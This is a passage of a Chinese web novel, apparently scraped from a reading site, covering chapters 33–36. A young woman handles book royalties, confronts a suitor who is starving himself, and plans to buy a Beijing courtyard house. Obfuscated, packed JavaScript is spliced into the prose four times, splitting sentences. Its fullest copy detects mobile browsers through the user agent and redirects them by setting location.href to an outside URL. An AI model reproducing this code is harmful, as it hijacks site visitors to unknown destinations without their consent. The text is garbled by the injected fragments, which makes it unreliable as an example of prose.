;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“秀兰,你跟我们好好讲讲,今天那场面大不大?” 李秀兰笑得合不拢嘴:“大!可大了!那博物馆门口,记者乌泱泱一片,闪光灯闪得我眼睛都睁不开!还有那些领导,文物局的局长、□□的副部长,都是咱们平时在电视上才能看见的人!” “真的假的?”王大妈瞪大眼睛,“那他们跟你们说话不?” “说了说了!”李秀兰指着时爱国,“老时他还被局长握了手呢!” 时爱国难得有些不好意思:“嗨,这算啥。” 刘叔一把抓住他的手:“哎哟,这只手被局长握过的手,可不能洗了!” 众人哄堂大笑。 “墨墨呢?墨墨在台上紧张不?”有人问。 时墨笑了笑:“还行,不紧张。” “不紧张?”赵大爷竖起大拇指,“了不得!我当年上台领个先进工作者的奖,腿都抖了半天。你这丫头,有出息!” 王大妈又凑过来:“墨墨,你跟我们说说,你当时咋知道那画是宝贝的?” 时墨又不能说全靠系统鉴定,只能借口道:“也没啥诀窍,就是多看多学。家里那些老书、老画册,我从小就看,看得多了,就有点感觉。” “那你也教教我们家小军呗?”刘婶眼睛一亮,“让他也长长本事!” 李秀兰笑着接话:“那可不行,我们家墨墨这是天赋,学不来的!” 又是一阵笑声。 时建军被几个年轻人拉到一边,追问工作的事。 “建军,你真要进首都机械研究所了?那可是国家单位啊!” “真的假的?你以后就是国家干部了?” 时建军脸有点红:“是真的……但我懂得少,得从头学。” “你就偷着乐吧!多少人想进都进不去!” 时建军被说得不好意思,但嘴角的笑怎么也压不下去。 时墨坐在人群中央,看着这热闹的一幕,感慨现在家属院,谁家有好事,全院的人都能来凑热闹;谁家有难处,都能来帮忙。 这种朴素的人情味,是她工作在钢筋水泥的城市里从没感受过的。 【宿主。】系统的声音又响起。 【嗯?】 【系统检测到,您当前的情绪状态为:满足。这是您来到这个时代后,第一次出现这种情绪。】 时墨微微一愣。 【是吗?】 【是的。系统记录下来,作为重要数据。】 时墨心思突然一动:【这些数据有没有标准值,达到了就给奖励?】 【暂时没有。】 【这个可以有。】 【这个真没有。】 33. 第 33 章 接下来的日子,时墨忙得脚不沾地。 捐国宝的热度还没过去,林慧君那边就传来了好消息。 周三上午课间,传达室的大爷敲开了教室门,探着头喊:“时墨有你电话,百姓文学出版社打来的,说有急事找你!” 教室瞬间安静。 时墨没想到出版社那边这么快就有了消息,跟班主任打了声招呼,快步往传达室跑。 刚拿起听筒,那边就传来了林慧君爽朗又带着兴奋的声音:“时墨!好消息!” “林阿姨?”时墨咽了口口水,压下急促的喘气声,笑着应声,“您说。” “你那本《返城知青逆袭记》,稿子我们全本审批完了,一字没改,全票通过!”林慧君的声音里满是激动,“本来按计划是等你高考完交全稿再排版印刷,可你捐国宝的事现在全国都知道了,社里连夜开了会,决定先印三万册试水,下周就下厂开机!” 时墨心里一动,她倒是没想到,捐画的热度竟然反哺到了出版上。 “林姨,会不会太赶了?我后面的稿子还在收尾,而且我还没再从头润色一遍。” “不赶不赶!”林慧君立刻接话,“我们都检查过,你写的已经很不错了,时机更重要。你前面连载的内容够先印上册了,下册等你后续交稿正好接上,一点不耽误。社里已经把首款稿费给你打过去了,基础稿酬按合同的千字三十五元,先结上册的全款,加上首印三万册的版税预付款,一共两千八百块,你回头去邮局查收一下。剩下的七万册的尾款和后续版税,等下册出版、全本售罄后统一结算,一分都不会少你的。” “这三万册我估计都不够卖的,后续还会加印,钱到时候一起算。” “钱方面我相信林姨。”时墨听到话筒里林慧君喜气洋洋的语气,也不由高兴起来。 “你可真是个小福星,本来我们还研究怎样宣传推广更好,你这新闻直接引爆了媒体圈。” “都是巧合。” “世上哪来那么多巧合,前前后后这些事,我是看明白了,你心肠好,老天不会错对你。你之前提的作家协会推荐名额,我们社里已经正式提交上去了,市作协那边已经受理了,等书一上市,再加上你现在的社会影响力,入会基本板上钉钉了。”林慧君笑着补充,“时墨,你现在可是咱们社的重点作者了,社里都等着你的书大卖呢!” “谢谢林阿姨,也谢谢社里的认可。”时墨回过神,语气从容地应下,“后续的稿子我会按时收尾,绝对不耽误出版进度。” “好,我就等你这句话!”林慧君笑得更开心了,“不耽误你上课了,有什么事随时给我打电话,咱们随时沟通!” 挂了电话,时墨捏着听筒,嘴角忍不住扬起。 【宿主,发财了!两千八百块!加上之前国家给的五千块奖金,总资产总资产一万零伍佰!宿主你现在也是万元户了!】系统在脑海里激动地嗷嗷叫,【还都没违背系统制定的原则,太厉害啦!】 【瞧你那点出息。】时墨笑着怼了一句,说了句让系统更开心的话,【之前答应过给你稿费十分之一,自己拿吧,下次稿费打过来的钱再另算。】 【嗷嗷嗷!】 系统激动的向时墨发起表情包攻击。 【爱你.jpg】【亲亲.jpg】【撒花.jpg】【转圈.jpg】 接下来的几天,时墨忙得脚不沾地。 白天上课、刷题,写作业,课间要应付一波波来围观的同学、慕名而来的其他班级学生,放学回家要写小说收尾稿,还要抽时间跟出版社沟通出版细节,偶尔还要去聚贤斋跟孙老、宋老他们聊聊文物的事,忙得连吃饭都跟打仗似的,压根没注意到家里悄然变化的气氛。 时爱国最近下班回家,话明显少了很多,吃饭的时候总是心不在焉,筷子夹着菜半天不往嘴里送;李秀兰也总是欲言又止,看着丈夫的眼神里,总带着点藏不住的担忧。 时墨以为爸妈是还没从捐赠仪式的激动里缓过来,压根没往别处想。 直到这天夜里。 时墨起夜去厕所,路过爸妈的卧室门口,听见里面传来压低的说话声,断断续续的,却字字清晰地钻进了她的耳朵里。 李秀兰的声音,压得很低:“……老时,你说这事到底咋办啊?总不能一直拖着吧?赵厂长今天是不是又找你了?”语气里的焦虑连时墨听出来了。 时墨的困意顿时消散,靠近门侧偷听。 “嗯,下班的时候在厂门口堵着我了。”时爱国的声音里满是疲惫,“还是为了他儿子赵星宇。” “他还不死心?”李秀兰的声音拔高了一点,又赶紧压下去,“之前咱们墨墨都把话说得多清楚,他儿子还闹?” “谁说不是呢。”时爱国叹了口气,“赵星宇那孩子,自从被墨墨拒绝后,回家就一蹶不振,得了相思病,最近连饭都不吃了,人都瘦脱了相。他媳妇心疼得不行,天天在家哭,逼着赵厂长想办法。赵厂长也是实在没辙了,才拉下脸来找我。” “你也知道我们厂长是啥人,要不是他实在没招了,不会求到我面前。” “那他想咋的?还想让墨墨跟他儿子处对象?”李秀兰的语气里带了气,“他也不想想,他儿子配得上咱们墨墨吗?咱闺女现在是给国家捐国宝的人,之前报纸电视天天播,首都大学都要保送,他那个不务正业的儿子,哪点配得上?” “我知道,我都委婉的跟他说了。”时爱国的声音里满是无奈,“孩子们的事,咱们当父母的管不了,墨墨自己不愿意,谁逼都没用。现在都是自由恋爱,不是以前父母之命媒妁之言的时代。可厂长今天……都跟我恳求上了,说就求我让墨墨跟他儿子见一面,说几句话,劝劝他儿子,不然孩子就废了。” “那你答应了?” “我能答应?!”时爱国的语气立刻硬了起来,“闺女明确说了不喜欢,我这个当爸的,能逼着闺女去见她不想见的人?我当场就推了。可……”他顿了顿,语气又沉了下去,“赵宏林毕竟是一厂之长,我在他手底下干了半辈子了,这次这么硬邦邦地拒绝了,以后在厂里,难免给我穿小鞋。” 李秀兰也想到这儿,语气里满是担忧:“我就担心这个!要不是这次墨墨捐了国宝,厂里给你和我都记了大功,今年评优优先,你这次拒绝他,他肯定早就给你脸色看了!但你俩天天在一个厂里,他想给你使绊子,那还不是一句话的事?咱们又不能辞职不干,这铁饭碗,总不能说丢就丢啊!” “别说了。”时爱国打断她,“我知道。我当爸的,总不能为了自己在厂里好过,把亲闺女往火坑里推。墨墨现在正是关键时候,不能让这些糟心事烦她。我现在能扛的住,实在不行,我就去找厂党委书记说说,他总不能一手遮天。” “唉……”李秀兰长长叹了口气,“都怪那个赵星宇,好好的小伙子,怎么就一根筋呢!这都一个来月了,还不死心,这不是祸害咱们家吗?” 时墨站在客厅里,手指攥紧了睡衣的衣角。 她这段时间只顾着忙自己的事,竟然完全没注意到,她爸最近下班回来总是比平时晚,吃饭也心不在焉,问他就说厂里忙。她妈倒是照样笑眯眯地招呼邻居,可有时候坐在那儿发呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“时墨,阿姨知道,这事跟你没关系。”赵妈妈攥着她的手,眼泪止不住地流,“是小宇他自己想不开,可我就这一个儿子,他要是有什么三长两短,我也活不下去了。你就当……就当可怜可怜阿姨,去看看他,行不行?” 时墨看着关玉月泛红的眼眶,心里说不上是什么滋味。 可怜天下父母心。 “阿姨。”她沉默了一会儿,终于开口,“我可以去看他。” 赵妈妈眼睛一亮:“真的?” “但我去不是为了骗他,也不是为了答应他什么。”时墨看着她的眼睛,语气平静却坚定,“我是去跟他说清楚,让他明白,绝食、作践自己,用自己的性命威胁父母,解决不了任何问题。这不是什么深情,是懦弱,是自私,是对自己、对父母的不负责任。如果他听了,能想通,那最好。如果他还想不通,那我也没有办法。” 关玉月愣了一下,随即连连点头:“行,行!只要你去见他一面,怎么说都行!” 时墨问道:“他人在哪儿?” “在家,在家躺着呢。”赵妈妈赶紧说,“你什么时候去?我让你叔来接你!” “不用接。”时墨说,“我现在就跟你去。” 她转身跟班主任请了假,又让一个同学帮忙给家里捎句话,说晚点回去。 然后收拾书包,跟着关玉月,上了那辆等在路边的车。 34. 第 34 章 赵家住在厂里的干部家属楼,格局和时家差不多,只是屋里收拾得更讲究些。组合柜擦得锃亮,上面摆着双卡录音机和几盘港台磁带,墙上挂着风景挂历,沙发上铺着钩针白纱巾,连茶几上的搪瓷缸都印着“先进工作者”的红字,处处透着厂长家的体面。 时墨一进门,就看见赵宏林坐在沙发上,手里夹着烟,烟灰攒了老长一截都没弹。 看见时墨进来,他猛地站起身,脸上的表情复杂得很,有尴尬,有愧疚,还有一丝难以言说的祈求,干巴巴地挤出一句:“时墨来了,快坐。” “赵叔好。”时墨微微颔首,大大方方地打了声招呼,语气平和,半点没有被迫上门的愤怒。 关玉月又是倒水又是拿糖,嘴里不停念叨:“墨墨,真是麻烦你跑这一趟了,阿姨知道这事不合规矩,可小宇这孩子……实在是没办法了,你多担待。” 【宿主!数据预警!关玉月愧疚值40%,甩锅欲60%,等会儿大概率要卖惨道德绑架,提前做好防御准备!】系统的声音在脑海里准时响起,带着满满的警惕。 时墨指尖轻轻摩挲了一下水杯边缘,在心里回了句【知道了】,面上依旧笑意得体:“关阿姨别这么说,赵叔和我爸是老同事,我来看看赵星宇也是应该的。” 这话既给了赵家台阶,也点透了两家的关系——不过是父辈同事的情分,再无其他。 赵宏林听着,脸上的愧色更重了,狠狠吸了一口烟,把烟蒂摁灭在烟灰缸里,叹了口气没说话。 “墨墨,你快跟我来!”关玉月见她态度平和,悬着的心松了大半,急急地拉着她往里屋走。 里屋的窗帘拉得严严实实,只留了一条缝漏进点微光,空气里混着没散去的饭味。床上躺着个人,侧着身脸朝里,被子胡乱搭在身上。 “儿子,儿子!”关玉月凑过去,声音放得又轻又软,“时墨来看你了!” 床上的人猛地动了一下,像是僵住了,半晌才慢慢翻过身来。 时墨差点没认出来。 不过一个来月没见,赵星宇瘦得脱了相,脸颊凹陷下去,眼下是浓重的乌青,嘴唇干裂起皮,头发乱糟糟地贴在额头上,全然没了当初在师大门口,穿着喇叭裤、抱着吉他的张扬劲儿。 唯有一双眼睛,在看见她的瞬间,骤然亮了起来。 他挣扎着想坐起来,胳膊撑了两下,却因为几天没好好吃饭,软得又倒了回去,只能死死盯着时墨,声音沙哑得像砂纸刮过木头:“时墨……你真的来了。” 【分析完成。】系统的声音适时响起,【赵星宇,二十三岁,文化局挂职。性格特征:被父母过度保护,抗挫折能力低下,行事冲动,情绪化严重。当前状态:轻度脱水加营养不良,但无生命危险,情绪激动值95%,其中不甘心占比62%,执念式喜欢占比38%,典型的娇生惯养偏执型人格,】 时墨在心里【嗯】了一声,在床边的凳子上坐下。 “赵星宇。”时墨声音不轻不重,脸上没什么表情。 赵星宇的眼眶瞬间红了,他盯着时墨,声音里带着满满的委屈:“你是不是来看我笑话的?看我把自己搞成这副鬼样子,是不是觉得我特别没用,特别可笑?” “我没这个意思。”时墨语气平静,“我来,是想把话说清楚,也不想因为咱们俩这点事,影响到我爸和赵叔在厂里的工作。” “不是的!不是这样的!”赵星宇突然激动起来,挣扎着坐起身,靠在床头,胸口剧烈起伏着,“时墨,我知道你烦我,可你能不能听我解释一句?当初相亲的事,不是我故意不去的!” 时墨没接话,只是静静看着他。 他急着辩解,语速飞快:“那时候我爸跟我说,给我介绍个厂里的姑娘,我以为又是那种只知道柴米油盐、觉得我玩吉他不务正业的人,我懒得应付,才让我表哥谢时昀替我去的!我要是早知道是你,我就算爬也爬过去!” “我在师大门口看见你的第一眼,我就动心了,我天天想着怎么跟你搭话,结果转头知道,你就是我爸给我介绍的那个姑娘!你知道我那时候多后悔吗?我恨我自己当初为什么要偷懒,为什么要让谢时昀替我去!” 他越说越激动,眼泪顺着凹陷的脸颊往下掉:“我知道你拿谢时昀当挡箭牌,你说你喜欢他那样的!可我哪里比不上他?就因为我没考上大学,就因为我玩音乐,你们都觉得我不务正业。” 时墨听到这儿,心里有了数。 不甘心,比喜欢更麻烦。 “我玩音乐不是瞎玩!我写的歌,文化馆的老师都夸过!我只是不想按部就班地活,我有我自己想做的事!”他盯着时墨的眼里满是不甘和祈求,“时墨,你别拿我跟他比,也别一棍子把我打死,你给我个机会,行不行?你试着了解了解我,我绝对不会比谢时昀差,我会对你好的,我把我所有的东西都给你!” 关玉月站在门边,捂着嘴偷偷抹眼泪,不停给时墨使眼色,盼着她能松口。 【我去!这男的好会偷换概念!】系统气得在脑海里嗷嗷叫,【他自己不去相亲,怪谁啊?现在倒成了阴差阳错的遗憾了?还拿谢时昀攀比,典型的输不起!宿主你可别听他瞎扯,赶紧戳破他的逻辑!】 时墨安静地听赵星宇说完,全程没有打断,直到他话音落下,才缓缓开口,声音冷静,却字字清晰,进退有度,半点没被他的情绪带着走。 “赵星宇,我先跟你说清楚两件事。第一,相亲的事,不管你是让谢时昀替你去,还是自己不去,结果都是一样的——你从一开始,就没打算认真对待这场相亲,也没打算尊重那个素未谋面的姑娘。就算当初去的是你,我也不会跟你有什么发展,这跟谢时昀没关系,跟阴差阳错也没关系,是我们本来就不是一路人。” “第二,你玩音乐,追求你想要的生活,没有错,也没人说你不务正业。但你不能因为我不喜欢你,就把原因归在‘我觉得你比不上谢时昀’上。我喜不喜欢一个人,跟他是什么职业、有没有出息没关系,只跟我合不合得来有关系。我不喜欢你,不是因为你比不上谁,只是因为我们不合适。” 她的话没有半分贬低,也没有半分嘲讽,只是平平静静地陈述事实,既给赵星宇留了体面,也把界限划得清清楚楚。 坐在外屋的赵宏林听着,心里又是愧疚又是佩服,时墨才十八,说话办事就这么周全得体,再看他儿子都23了,还不如比他小的姑娘。 赵星宇愣住了,张着嘴,半天说不出话来,眼里的光一点点暗了下去:“可我是真的喜欢你。” “你喜欢我什么?” “你跟别人不一样。” “哪不一样?” “你……你有才华,有胆量,正直,无私……”赵星宇快速瞥了时墨一眼,又垂下眼睑,小声道,“还……特漂亮。” 时墨点点头:“那你知不知道,我喜欢什么,爱吃什么,有什么理想追求,讨厌什么?” 赵星宇愣住了。 “不知道吧。”时墨讽刺地笑了,“你喜欢的,是报纸上那个‘见义勇为的英雄’,‘新生美女作家’,‘无私捐献国宝的青年’都是别人赋予我身上标签。你根本不了解我这个人。” 赵星宇张了张嘴,说不出反驳的话。 “所以……你是真的一点机会都不肯给我,对不对?” “对。”时墨看着他,语气坚定,没有半分含糊,“你现在这样,不是因为喜欢我,是因为不甘心。你不甘心当初错过了相亲,不甘心我拿谢时昀当挡箭牌,不甘心被拒绝。你把这份不甘心,当成了喜欢。” “我不是,我……” 时墨抬手挡住赵星宇后面的话:“你23了,仅仅因为被我拒绝,便糟践自己的身体,让你爸妈担心,让我爸妈为难。你现在这样,让我怎么看得起你?”时墨眼里带着冷意。 赵星宇这回是真的难堪。 时墨站起身,眼神鄙夷地看着他:“赵星宇,你要真是个爷们儿,就该爬起来,吃饭,把身体养好。该上班上班,该玩音乐玩音乐,把自己活出个样子来。不是为了让我看得起,是为了让你看得起自个儿。” “我走了,你好自为之。” 说完,转身就往外走,没有半分拖泥带水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李秀兰被她弄得莫名其妙,但还是笑了:“你这孩子,都多大了还撒娇。” 时爱国也从里屋出来,看见女儿,眼神里闪过一丝复杂。 时墨看着他,主动开口:“爸,赵星宇妈妈傍晚来学校找我,我跟她去看了赵星宇。我把话说清楚了,赵叔也跟我保证了,以后不会再让他来打扰咱们家,也不会在厂里给你使绊子。这事就算了了,以后你不用再为难了。” 时爱国心里一暖,鼻子微微发酸,他这个当爸的,没护住女儿,反倒让女儿跑前跑后去解决麻烦。 他清了清嗓子,故作轻松地拍了拍她的肩膀:“好,爸知道了。我闺女长大了,能扛事了。” “爸,妈,对不起。”时墨看着他们,认真地说,“我这段时间光忙自己的事,没注意到因为我发生了这些事。” 李秀兰的眼眶红了,一把把女儿搂进怀里:“傻孩子,你跟爸妈说什么对不起?爸妈不告诉你,是不想让你为难。” 时爱国站在旁边,看着抱在一起的母女俩,鼻子也有些发酸。 “行了行了,都别站着了,吃饭!”李秀兰笑着吆喝。 晚饭桌上,气氛比前几天轻松了太多。 李秀兰把菜往时墨碗里夹了又夹,时建军也带来了好消息,他放下筷子,一脸兴奋地说:“我今天去机械研究所报到了!人家给我安排了个师傅,手把手教技术,还说让我好好干,以后有机会送我去进修!” “真的?那可太好了!”李秀兰笑得合不拢嘴,一个劲地给他夹菜,“那你可得好好学,别辜负人家师傅的期望,也别给你妹丢脸!” “那必须的!”时建军拍着胸脯保证,“我妹给咱家挣了这么大的脸,我这个当哥的,绝对不能拖后腿!” 时墨看着一家人热热闹闹的样子,端起碗喝了一口温热的小米粥。 窗外,家属楼里灯火通明,隔壁传来炒菜的滋啦声,楼下有孩子跑跳的笑闹声,收音机正常播放着每日新闻。 突然,一则新闻引起了时墨的注意。 35. 第 35 章 “……□□日前批转《关于扩大城市公有住宅补贴出售试点的报告》,决定在京市、海市等城市扩大试点。公有住宅向职工个人出售,国家和单位补贴三分之二,个人只需承担三分之一成本价,双职工家庭工龄还可抵扣房款……” 时墨的筷子顿在半空。 她脑子里“嗡”地一下,前世看过的那些资料像放电影一样闪过—— 1984年10月,公房补贴出售试点,首都是核心试点城市。 一套三环内五十平米的单元房,成本价大概一万五,个人只需要出五千块。双职工家庭工龄长的,抵扣完甚至一两千就能拿下。 但政策窗口期极短。 她隐约记得1985年初,因为财政补贴压力太大,试点就紧急叫停了。后面九十年房改的时候,房价已经翻了好几倍,个人要出的钱直接涨了十倍不止。 这是八十年代最大的政策红利之一。 “墨墨,咋了?菜都凉了,发什么呆呢?”李秀兰见她举着筷子半天不动,伸手碰了碰她的胳膊。 时墨放下筷子,看向时父母:“这不,广播里念政策呢。爸,咱们厂里最近有没有说房子的事?” 时爱国一愣:“什么房子?” “就是公房出售,刚才广播里刚说的那个政策。”时墨指了指收音机,“国家和单位补贴三分之二,个人只要掏三分之一,就能把咱们现在住的这套房子买下来。” 时爱国和李秀兰对视一眼,都是一脸茫然。 “买房子?”时爱国笑了,“墨墨,这房子是厂里分的,住得好好的,买它干啥?每个月交几块钱房租就行,跟白住一样,没必要花那冤枉钱。” 李秀兰也连连点头,附和道:“就是啊闺女,咱们工人有厂子管,房子都是单位分的,哪有自己花钱买的道理?” 时建军也点头:“对啊妹,厂里人都说,房子是公家的,住着踏实。买下来干啥?又不能带走。” 时墨:“……” 她忘了,这个年代的人,根本没有“买房”的概念。 房子是单位分的,工作就是铁饭碗,房子就是铁饭碗的附属品。谁会想到二十年后,房价能涨到天上? “爸妈,你先别管划算不划算。”时墨耐着性子解释,“你就跟我说,厂里最近有没有贴通知,说可以买房子?” 李秀兰想了想:“好像……是有这么回事。上个月车间开会,工会主席提了一嘴,说国家有政策,愿意买的可以申请。大家都没当回事,谁花那冤枉钱?” 时爱国也想起什么:“对对对,办公室的小王还问过我,说时师傅你家要不要买?我说不买,住得好好的买啥。” 时墨深吸一口气。 “爸,妈。”她放下筷子,认真地看着他们,“我想买。” 时爱国和李秀兰同时愣住了:“买房子?” 时墨早料到父母会是这个反应,也没急着反驳,只是笑着说:“爸,妈,我不是说咱们现在住的这套楼房。我是想,咱们把胡同里那处四合院,剩下的三间房都买下来。” 这话一出,桌上的三个人都懵了。 “四合院?那破房子?” 时建军嘴里的馒头差点咽不下去,瞪着眼睛问:“妹?那三家老邻居住得好好的,能卖吗?再说了,买那平房干啥?又没上下水,冬天还得生炉子,多麻烦。” “麻烦是麻烦点,可那是独门独院的产权房。”时墨不紧不慢地解释,“咱们现在住的楼房,是厂里的,只有居住权,不是咱们自己的。可四合院买下来,地和房子都是咱们家的,红本写咱们的名字,踏踏实实的。” 她掰着手指头数好处:“哥你马上要去机械研究所上班了,以后谈对象结婚,总不能一直跟爸妈挤在这两居室里吧?四合院整座买下来,前后院好几间房,你结婚有婚房,我有自己的书房,爸妈住正房,宽敞又自在。关起门来,咱们一家人想干什么干什么,不用跟邻居挤在一个院里,也不用听楼道里的闲言碎语。” “买……买整个院子?”他不敢置信地伸手要去摸时墨额头,“妹,你没发烧吧?” 时墨歪头躲开,慢条斯理道:“我没发烧,我很清醒。” 时爱国心有顾虑道:“墨墨,爸知道你想的周到。可那四合院,一整座买下来,得不少钱吧?咱们家之前买那两间房,就花了快两千块,剩下那三间,房主肯定要价不低,咱们家现在没多少积蓄了。” “钱的事你们不用担心。”时墨笑着开口,“国家给我的五千块奖金,加上出版社刚打过来的两千八百块稿费,还有之前攒的钱,一共一万多块,足够把整个四合院买下来了。这钱是我自己赚的,光明正大,花着也踏实。” 时爱国倒吸一口凉气。 他知道闺女有钱,但不知道有这么多。 “那不行!”李秀兰立刻摆手,“那是你捐国宝国家给的奖金,还有你辛苦写小说赚的稿费,我们怎么能花你的钱买房子?不行不行,绝对不行。” “妈,房子买下来,也是写我的名字,算是我给自己置办的家产,有什么不行的?”时墨拉着李秀兰的手,软声劝道,“我一个女孩子,以后有个自己的院子,自己的房子,也踏实。再说了,咱们一家人住在一起,热热闹闹的,不比挤在这小楼房里强?” “就是咱想买。”李秀兰问道:“可人家住得好好的,凭啥卖给咱啊?” “钱给到位肯定就会卖。”时墨边解释,边数算这里的好处,“现在国家下发这个政策肯定是利于老百姓的,咱们院里剩下那三户要是有条件肯定想趁着政策买楼房,院里剩下那几户也都没啥钱,咱们出个合适的价,肯定有人心动。” 时建军还是不理解:“那咱为啥不买楼房?” 时墨没法说以后四合院是天价,他家这房子可以等到九零年那一波政策,五千块是买这个楼房还是买四合院,但凡是后来的人都会毫不犹豫选四合院! “那院子虽然破点,但位置好,离市中心近。现在老邻居们住的那些房子,都是私房,他们要是愿意卖,咱们就买下来。一个院子都归了咱们家,以后想怎么收拾怎么收拾,养花种菜,养狗养猫,多好。” 时建军挠头:“妹,你这脑子怎么想的?我们都想不到这些。” 时墨指了指收音机:“多关注国家政策,紧跟国家脚步。” 她又看向爸妈:“这个房子咱们也住着,再整个安静地院子,到时候想住哪个住哪个,两全其美。” 时爱国被说动了,看向李秀兰:“墨墨说得也有道理。孩子自己赚的钱,想置办个家产,咱们当父母的,也别拦着了。再说了,独门独院的,确实比楼房安静。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223643|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀兰看着女儿恳切的眼神,最终点了点头:“行吧,你们都觉得好,那就办。不过丑话说在前头,房子买下来,得写墨墨你的名字,这是你的钱,我们不能占你的便宜。” “那必须的!”时建军立刻点头,“这是我妹自己赚的钱,买的房子肯定写她的名!” 一家人就这么定了下来。 吃完饭,一家人围在桌边,又细细商量起来。 “那三家老邻居,跟你爸关系都不错,让你爸有空先去问问,看看人家愿不愿意卖。”李秀兰盘算着,“咱们也别压价,人家要多少,只要不离谱,咱们就买下来。” “对,和气生财。”时爱国点头,“还有,这事得低调点。墨墨刚捐了国宝,现在厂里、家属院都盯着咱们家呢,要是让人知道咱们家花大价钱买四合院,指不定背后说什么闲话,招人嫉妒。” 时墨点点头,她早就想到了这一点:“爸,妈,我想好了,要是有人问,咱们就统一口径。就说我觉得哥有了好工作,以后要结婚占房子,觉得不能光给哥买楼房,我也要有自己院子,别的别提。财不外露,省得惹麻烦。” “对!就这么说!”时建军一拍大腿,在旁边点头:“最近我妹风头太盛了,不能再招人眼红。” 李秀兰也连连点头赞同:“还是我闺女想的周到。这事我和你爸去办,你就安心上课,别的不用管,爸妈保准给你办得妥妥帖帖的。” 第二天一早,时墨去上学前,把一沓钱交给李秀兰。 “妈,这是四千块,你和爸收好。” 李秀兰接过钱:“墨墨,你放心,妈心里有数。” 时墨笑了笑,背上书包出了门。 * 早九点,脑海里就准时响起了系统准点上班的打卡音, 【宿主早上好!美好的一天开始啦~】 时墨笔尖不停:【早。】 【宿主有件事得跟您汇报一下。】 【说。】 【根据奖励条款,您当前可支配资产上限为“国民年收入3倍”。经测算,当前国民年收入约为1239元,3倍为3717元。】 【您当前资产10500元,超过限额6783元,超过比例182%。】 时墨的笔尖顿住了:【你什么意思?】 【您有三次新手保护机会。前三次意外超标,会强制冻结超额财富并发出警告,给予您1天缓冲期处理超标资产,不危及生命。】 【但因为您上学期间,我特意向上级申请了延时处理,超额部分必须在72小时内处理完毕。否则系统将自动执行“超额资产清零”程序。】 时墨差点在课堂上骂出声。 【我怎么不知道有清零这事?之前说的不是冻结,你刚也说了。】 系统解释道:【是的,但是您在上学一天处理不了,所以我申请了延长时间,与之对应的是放假当您花不完系统会直接清理。】 时墨深吸一口气,再缓缓吐出,告诉自己保持冷静。 超额6738元,4000拿出去买房,还剩2738元。 今天周四,周五周六她还得上两天课,看来必须得请假了。 她必须在一天内花掉普通人家两三年的收入。 好,好,好得很。 赚钱不容易,花钱还不容易吗?! 36. 第 36 章 当晚时墨放学回家,一进门就看见爸妈俩人坐在桌边,一个捧着搪瓷缸子抿水,眉头皱得能夹死苍蝇,一个在旁边脸拉得老长。 “爸,妈,咋了这是?房子的事不顺利?”时墨放下书包,拉了把凳子坐下。 “别提了!”李秀兰把缸子往桌上一墩,气不打一处来:“那张寡妇,真是给脸不要脸!” 时墨赶紧给她妈拍后背顺气:“妈你慢慢说,别跟外人生气,气坏自己身子不值当。” “我和你爸下班就往胡同跑,想趁着傍晚人都下班在家问房子的事方便。东屋老刘家挺爽快,一听价格合适,当场就点了头。西屋小王两口也正想凑钱买楼房,说了几句也就答应了。就那个张寡妇,拿乔得不行!” “我和你爸敲开门,笑脸迎上去,把来意说了。”李秀兰接过水杯喝了一口,嗓门都高了,“你猜那婆娘说什么?” 时墨:“她说啥?” “她上下打量我们一眼,皮笑肉不笑地说:‘哎哟,时师傅家现在可是发达了呀,闺女这是又上电视又上报纸的,听说还得了不少奖金吧?这买房子,可得给我们个好价钱。’” 李秀兰学得惟妙惟肖,时墨差点没忍住笑。 “然后呢?” “我一听这话就不对味。”李秀兰放下杯子,“我压着火气,问她想要多少。她倒好,张嘴就要一千六!” 时爱国也没好气道:“她那房不值钱,价翻了一倍,还说少一分都不卖,明摆着就是看咱们想买,坐地起价!” “一千六?”时墨挑眉。 其实一千六她也能接受,但放现在肯定是亏本买卖。 当时她家买那两间房,才花了不到两千。现在就剩一间北屋,还是三家里面最小的,她开口就要一千六。 时墨:“那还谈什么?当咱家冤大头呢?” “可不是嘛,我心里火腾得冒起来!”李秀兰一拍大腿,“我当时就笑了,我说,周嫂子,你这房子我打听过,公家估价也就八百出头,你开口一千六,这是把我们当冤大头宰呢?那婆娘还振振有词,说‘你们家现在有钱了,还在乎这几百?时墨那丫头捐国宝,国家给了不少吧?’” 时墨脸上的笑淡了下去。 “我就听不得这话。”李秀兰说,“我当时就骂回去了,我说,‘周嫂子,我闺女捐国宝,是给国家做贡献,不是发财去了。国家给的奖金,是她该得的,是她凭本事挣的,跟我们夫妻俩没关系。我们来买房子,是想着以后一家人有个自己院子,不是来让人当肥羊宰的。你这房子,九百块钱爱卖不卖,不卖拉倒!你个脏心烂肺,惦记孩子钱的玩意儿!呸!’” “说完,我拽着你爸就走了,惯的她那臭毛病!真当我们非买她那破房子不可?” 